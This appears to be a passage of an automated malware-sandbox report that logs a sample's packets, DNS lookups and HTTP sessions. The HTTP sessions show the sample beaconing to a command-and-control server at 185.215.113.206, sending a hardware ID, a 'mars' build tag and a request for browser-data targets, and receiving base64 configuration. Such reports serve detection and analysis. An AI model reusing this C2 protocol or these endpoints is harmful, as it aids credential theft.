Nov 18, 2024 15:18:14.183329105 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.183343887 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.183351040 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.183367968 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.183384895 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.248938084 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.248954058 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.249027014 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.249047995 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.249058008 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.249068975 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.249082088 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.249083996 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.249097109 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.249109983 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.249126911 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.249140024 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.249151945 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.249164104 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.249164104 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.249207973 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.255100012 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.255115032 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.255127907 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.255160093 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.255186081 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.255264997 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.255325079 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.255444050 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.255455971 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.255466938 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.255480051 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.255491972 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.255495071 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.255505085 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.255523920 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.255542994 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.255709887 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.255722046 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.255736113 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.255763054 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.255778074 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.255851984 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.255899906 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.256030083 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.256042957 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.256053925 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.256086111 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.256114006 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.259161949 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.259176016 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.259238958 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.259332895 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.259344101 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.259351015 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.259361029 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.259366989 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.259377003 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.259401083 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.259414911 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.259516954 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.259529114 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.259540081 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.259565115 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.259577990 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.297780991 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.297796011 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.297807932 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.297877073 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.297940016 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.297954082 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.297965050 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.297976971 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.297986984 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.297988892 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.298019886 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.298047066 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.298098087 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.298111916 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.298122883 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.298141956 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.298157930 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.298401117 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.298451900 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.298568010 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.298580885 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.298593044 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.298604965 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.298614979 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.298633099 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.298665047 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.299657106 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.299669981 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.299681902 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.299714088 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.299736023 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.299974918 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.299988031 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.299998045 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.300009966 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.300023079 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.300028086 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.300055981 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.300143003 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.300154924 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.300168037 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.300179005 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.300189972 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.300208092 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.300208092 CET	49847	80	192.168.2.9	31.41.244.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 18, 2024 15:16:40.685810089 CET	192.168.2.9	1.1.1.1	0x51c1	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:40.686053991 CET	192.168.2.9	1.1.1.1	0xbdbb	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 18, 2024 15:16:45.429960966 CET	192.168.2.9	1.1.1.1	0xf6ee	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:45.430102110 CET	192.168.2.9	1.1.1.1	0x46af	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 18, 2024 15:16:46.401922941 CET	192.168.2.9	1.1.1.1	0x7ea6	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:46.402053118 CET	192.168.2.9	1.1.1.1	0x8a52	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 18, 2024 15:16:52.423320055 CET	192.168.2.9	1.1.1.1	0x54ce	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:52.423563957 CET	192.168.2.9	1.1.1.1	0x18b8	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 18, 2024 15:16:55.511431932 CET	192.168.2.9	1.1.1.1	0x1d2d	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:55.511784077 CET	192.168.2.9	1.1.1.1	0x1cc	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 18, 2024 15:16:56.061980963 CET	192.168.2.9	1.1.1.1	0xce12	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:56.062767029 CET	192.168.2.9	1.1.1.1	0xc7d1	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 18, 2024 15:16:56.413551092 CET	192.168.2.9	1.1.1.1	0x434b	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:56.414026976 CET	192.168.2.9	1.1.1.1	0x1a33	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 18, 2024 15:16:56.419711113 CET	192.168.2.9	1.1.1.1	0x3473	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:56.419987917 CET	192.168.2.9	1.1.1.1	0xb869	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 18, 2024 15:16:56.424105883 CET	192.168.2.9	1.1.1.1	0xf425	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:56.424501896 CET	192.168.2.9	1.1.1.1	0x1a14	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 18, 2024 15:16:56.437174082 CET	192.168.2.9	1.1.1.1	0x2de3	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:56.437490940 CET	192.168.2.9	1.1.1.1	0xd42	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 18, 2024 15:16:56.829767942 CET	192.168.2.9	1.1.1.1	0x9ed4	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:56.830065012 CET	192.168.2.9	1.1.1.1	0x3cd4	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 18, 2024 15:16:56.830605984 CET	192.168.2.9	1.1.1.1	0xab4c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:56.830898046 CET	192.168.2.9	1.1.1.1	0xe713	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 18, 2024 15:16:56.864924908 CET	192.168.2.9	1.1.1.1	0x5a68	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:56.865169048 CET	192.168.2.9	1.1.1.1	0x9b8	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 18, 2024 15:18:19.239197016 CET	192.168.2.9	1.1.1.1	0xb34	Standard query (0)	home.fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:18:19.239283085 CET	192.168.2.9	1.1.1.1	0x92e4	Standard query (0)	home.fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 15:18:27.160262108 CET	192.168.2.9	1.1.1.1	0xeb5b	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 18, 2024 15:16:40.692936897 CET	1.1.1.1	192.168.2.9	0xbdbb	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 18, 2024 15:16:40.693638086 CET	1.1.1.1	192.168.2.9	0x51c1	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:45.437071085 CET	1.1.1.1	192.168.2.9	0xf6ee	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 15:16:45.437071085 CET	1.1.1.1	192.168.2.9	0xf6ee	No error (0)	plus.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:45.437503099 CET	1.1.1.1	192.168.2.9	0x46af	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 15:16:46.408823967 CET	1.1.1.1	192.168.2.9	0x7ea6	No error (0)	play.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:52.430927992 CET	1.1.1.1	192.168.2.9	0x18b8	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 15:16:52.430952072 CET	1.1.1.1	192.168.2.9	0x54ce	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 15:16:53.042399883 CET	1.1.1.1	192.168.2.9	0x13f2	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 15:16:53.042399883 CET	1.1.1.1	192.168.2.9	0x13f2	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:53.042785883 CET	1.1.1.1	192.168.2.9	0x244	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 15:16:55.519016027 CET	1.1.1.1	192.168.2.9	0x1d2d	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 15:16:55.519104004 CET	1.1.1.1	192.168.2.9	0x1cc	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 15:16:56.068964958 CET	1.1.1.1	192.168.2.9	0xce12	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 15:16:56.068964958 CET	1.1.1.1	192.168.2.9	0xce12	No error (0)	googlehosted.l.googleusercontent.com		142.250.185.161	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:56.069710970 CET	1.1.1.1	192.168.2.9	0xc7d1	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 15:16:56.420485973 CET	1.1.1.1	192.168.2.9	0x434b	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:56.420485973 CET	1.1.1.1	192.168.2.9	0x434b	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:56.420485973 CET	1.1.1.1	192.168.2.9	0x434b	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:56.420485973 CET	1.1.1.1	192.168.2.9	0x434b	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:56.426990986 CET	1.1.1.1	192.168.2.9	0xb869	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 15:16:56.427217007 CET	1.1.1.1	192.168.2.9	0x3473	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 15:16:56.431466103 CET	1.1.1.1	192.168.2.9	0xf425	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 15:16:56.431922913 CET	1.1.1.1	192.168.2.9	0x1a14	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 15:16:56.444271088 CET	1.1.1.1	192.168.2.9	0xd42	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 15:16:56.444439888 CET	1.1.1.1	192.168.2.9	0x2de3	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 15:16:56.836728096 CET	1.1.1.1	192.168.2.9	0x3cd4	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 18, 2024 15:16:56.836863995 CET	1.1.1.1	192.168.2.9	0x9ed4	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:56.836863995 CET	1.1.1.1	192.168.2.9	0x9ed4	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:56.837424040 CET	1.1.1.1	192.168.2.9	0xab4c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:56.837424040 CET	1.1.1.1	192.168.2.9	0xab4c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:56.838119030 CET	1.1.1.1	192.168.2.9	0xe713	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 18, 2024 15:16:56.872421980 CET	1.1.1.1	192.168.2.9	0x5a68	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:56.872421980 CET	1.1.1.1	192.168.2.9	0x5a68	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:16:56.872884035 CET	1.1.1.1	192.168.2.9	0x9b8	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 18, 2024 15:16:57.425674915 CET	1.1.1.1	192.168.2.9	0x66e	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 15:16:57.425674915 CET	1.1.1.1	192.168.2.9	0x66e	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:18:20.176898956 CET	1.1.1.1	192.168.2.9	0xb34	No error (0)	home.fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:18:27.200376987 CET	1.1.1.1	192.168.2.9	0xeb5b	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 15:18:27.200376987 CET	1.1.1.1	192.168.2.9	0xeb5b	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49706	185.215.113.206	80	7112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 15:16:30.597479105 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 15:16:31.507579088 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:16:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 15:16:31.512420893 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHD Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 41 46 44 31 38 35 46 31 33 43 34 32 35 33 38 31 37 36 37 36 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 2d 2d 0d 0a Data Ascii: ------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="hwid"7AFD185F13C4253817676------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="build"mars------BFIDGDAKFHIEHJKFHDHD--
Nov 18, 2024 15:16:31.808135986 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:16:31 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 44 41 30 5a 47 4d 7a 59 57 51 33 4d 6d 4e 6d 4e 57 56 68 4d 54 4e 69 4d 57 51 79 59 32 45 30 5a 57 4d 34 5a 54 51 77 4d 44 49 30 59 32 5a 68 4d 44 4a 69 4e 6a 51 7a 59 7a 49 33 4d 6a 49 34 4d 32 56 6a 4e 6a 68 6a 5a 6d 4e 68 59 6d 51 30 59 6a 4d 34 4d 7a 6b 33 4d 7a 6b 7a 4e 47 4d 31 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ODA0ZGMzYWQ3MmNmNWVhMTNiMWQyY2E0ZWM4ZTQwMDI0Y2ZhMDJiNjQzYzI3MjI4M2VjNjhjZmNhYmQ0YjM4Mzk3MzkzNGM1fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 18, 2024 15:16:31.809454918 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDHJJJECFIECBGDGCAA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 61 64 37 32 63 66 35 65 61 31 33 62 31 64 32 63 61 34 65 63 38 65 34 30 30 32 34 63 66 61 30 32 62 36 34 33 63 32 37 32 32 38 33 65 63 36 38 63 66 63 61 62 64 34 62 33 38 33 39 37 33 39 33 34 63 35 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 2d 2d 0d 0a Data Ascii: ------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="message"browsers------DHDHJJJECFIECBGDGCAA--
Nov 18, 2024 15:16:32.090087891 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:16:31 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: 